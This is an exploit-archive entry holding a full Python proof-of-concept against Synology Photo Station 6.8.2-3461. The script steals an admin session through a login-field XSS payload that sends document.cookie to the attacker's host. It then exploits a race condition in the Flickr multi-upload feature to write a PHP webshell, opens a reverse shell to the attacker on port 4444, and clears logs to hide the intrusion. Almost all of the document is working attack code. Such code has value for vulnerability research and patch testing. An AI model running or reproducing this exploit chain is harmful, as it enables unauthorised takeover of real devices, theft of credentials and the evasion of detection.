发布 2018-01-15 漏洞条目

Synology Photo Station 6.8.2-3461 – ‘SYNOPHOTO_Flickr_MultiUpload’ Race Condition File Write Remote Code Execution

Exploit Source

#!/usr/local/bin/python

"""

Synology Photo Station <= 6.8.2-3461 (latest) SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability

Found by: mr_me

Tested: 6.8.2-3461 (latest at the time)

Vendor Advisory: https://www.synology.com/en-global/support/security/Synology_SA_18_02

# Summary:

==========

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Synology Photo Station. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.

The specific flaw exists within the SYNOPHOTO_Flickr_MultiUpload function. When parsing the prog_id parameter, the process does not properly validate a user-supplied string before using it to execute a call to file_put_contents. An attacker can leverage this vulnerability to execute code under the context of the PhotoStation user.

# Example:

==========

saturn:synology mr_me$ ./sinology.py 192.168.100.9 en0

Synology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability

mr_me

(+) waiting for the admin...

(+) stolen: qt4obchbqfss2ap9ct9nb1i534

(+) updated the settings!

(+) wrote php code!

(+) attempting race condition...

(+) won the race!

(+) rce is proven!

(+) deleted the image and scrubbed the logs!

(+) starting handler on port 4444

(+) connection from 192.168.100.9

(+) pop thy shell!

uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)

"""

import sys

import socket

import requests

import telnetlib

from threading import Thread

from base64 import b64encode as b64e

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

try:

import netifaces as ni

except:

print "(-) try 'pip install netifaces'"

sys.exit(1)

# haven't pwned yet

pwned = False

class xss(BaseHTTPRequestHandler):

def log_message(self, format, *args):

return

def do_GET(self):

global s

# incase the referer isn't set, its coming from someone else

try:

referer = self.headers.get('Referer')

except:

referer = ""

# of course this isn't bullet proof, but its enough for a poc

if t in referer:

if "PHPSESSID" in self.path:

s = self.path.split("=")[1]

print "(+) stolen: %s" % s

pwned = True

self.send_response(200)

self.end_headers()

return

def _build_bd(raw=False):

php = "<?php file_put_contents('si.php','<?php eval(base64_decode($_SERVER[HTTP_SIN]));');die('done'); ?>.gif"

if raw == True:

return php

return "photo_2f_%s" % (php.encode("hex"))

def we_can_set_settings(target, session):

uri = "http://%s/photo/admin/share_setting.php" % target

d = {

"action" : "set_setting",

"social_flickr" : "on",

"share_upload_orig" : "on"

}

c = { "PHPSESSID" : session }

r = requests.post(uri, data=d, cookies=c).json()

if "success" in r:

if r["success"] == True:

return True

return False

def we_can_upload(target, session):

uri = "http://%s/photo/webapi/file.php" % (target)

p = { "SynoToken" : session }

c = { "PHPSESSID" : session }

# valid gif, important

gif = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00"

gif += "\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c"

gif += "\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02"

f = { "original": ("si.gif", gif) }

d = {

"api": "SYNO.PhotoStation.File",

"method" : "uploadphoto",

"version" : 1,

"dest_folder_path": "",

"duplicate" : "rename",

"mtime": "1513540164787",

"filename" : _build_bd(True)

}

r = requests.post(uri, params=p, files=f, cookies=c, data=d).json()

if "success" in r:

if r["success"] == True:

return True

return False

def race(target):

r = ""

while("done" not in r):

r = requests.get("http://%s/photo/pwn.php" % target).text

return True

def we_won_race(target, session, racing_thread):

while(racing_thread.isAlive()):

uri = "http://%s/photo/SocialNetwork/flickr.php" % target

d = {

"prog_id" : "../../volume1/@appstore/PhotoStation/photo/pwn.php",

"action" : "multi_upload",

"token" : 1,

"secret" : "",

"photoList" : _build_bd()

}

c = { "PHPSESSID": session }

requests.post(uri, cookies=c, data=d)

return True

def build_php_code():

phpkode = ("""

@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")

phpkode += ("""$dis=@ini_get('disable_functions');""")

phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")

phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)

phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)

phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)

phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")

phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")

phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)

phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")

phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)

phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)

phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)

phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)

phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)

phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)

phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)

phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)

phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)

phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)

phpkode += ("""$nofuncs='no exec functions'; """)

phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)

phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))

phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)

phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)

phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)

phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)

phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (cb_host, cb_port))

phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)

phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)

phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)

phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)

phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)

phpkode += ("""}@socket_close($s);} """)

return phpkode

def exec_code(target):

handlerthr = Thread(target=handler, args=(cb_port,))

handlerthr.start()

we_can_exec_php(target, b64e(build_php_code()))

def handler(lport):

print "(+) starting handler on port %d" % lport

t = telnetlib.Telnet()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(("0.0.0.0", lport))

s.listen(1)

conn, addr = s.accept()

print "(+) connection from %s" % addr[0]

t.sock = conn

print "(+) pop thy shell!"

t.interact()

def we_can_exec_php(target, php):

h = { "SIN" : php }

r = requests.get("http://%s/photo/si.php" % target, headers=h)

if r.text == "pwn":

return True

return False

def we_can_clean_up(target, session):

uri = "http://%s/photo/webapi/photo.php" % target

d = {

"api": "SYNO.PhotoStation.Photo",

"method" : "delete",

"version" : 1,

"id" : _build_bd()

}

c = { "PHPSESSID" : session }

h = { "X-SYNO-TOKEN" : session }

r = requests.post(uri, cookies=c, data=d, headers=h).json()

if "success" in r:

if r["success"] == True:

return True

return False

def banner():

return """\n\tSynology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability\n\tmr_me\n"""

def do_xss(target, ip):

j = "\"><img src=x onerror=this.src=\"http://%s:9090/?\"+document.cookie>" % ip

d = {

"api" : "SYNO.PhotoStation.Auth",

"method" : "login",

"version" : 1,

"username" : j,

"password" : "WAT",

"enable_syno_token" : "true"

}

r = requests.post("http://%s/photo/webapi/auth.php" % target, data=d).json()

def we_can_clear_logs(target, session):

c = { "PHPSESSID" : session }

p = { "SynoToken" : session }

d = {

"api": "SYNO.PhotoStation.PhotoLog",

"method" : "clear",

"version" : 1,

}

r = requests.post("http://%s/photo/webapi/log.php" % target, data=d, params=p, cookies=c).json()

if "success" in r:

if r["success"] == True:

return True

return False

def start_pain_train(t, s):

if we_can_set_settings(t, s):

print "(+) updated the settings!"

if we_can_upload(t, s):

print "(+) wrote php code!"

print "(+) attempting race condition..."

r = Thread(target=race, args=(t,))

r.start()

if we_won_race(t, s, r):

print "(+) won the race!"

if we_can_exec_php(t, b64e('`rm pwn.php`;echo "pwn";')):

print "(+) rce is proven!"

if we_can_clean_up(t, s) and we_can_clear_logs(t, s):

print "(+) deleted the image and scrubbed the logs!"

exec_code(t)

def keep_running():

if pwned == True:

return False

return True

def main():

print banner()

global cb_host, cb_port, s, t

if len(sys.argv) != 3:

print "(+) usage: %s <target> <interface>" % sys.argv[0]

print "(+) eg: %s 192.168.100.9 en0" % sys.argv[0]

sys.exit(1)

s = ""

t = sys.argv[1]

cb_port = 4444

try:

cb_host = ni.ifaddresses(sys.argv[2])[2][0]['addr']

except:

print "(-) no ip address associated with that interface!"

sys.exit(1)

do_xss(t, cb_host)

try:

server = HTTPServer(('0.0.0.0', 9090), xss)

print '(+) waiting for the admin...'

while keep_running():

server.handle_request()

except KeyboardInterrupt:

print '(+) shutting down the web server'

server.socket.close()

if s != "":

start_pain_train(t, s)

if __name__ == "__main__":

main()

作者: mr_me
日期: 2018-01-15
类别: remote
平台: hardware

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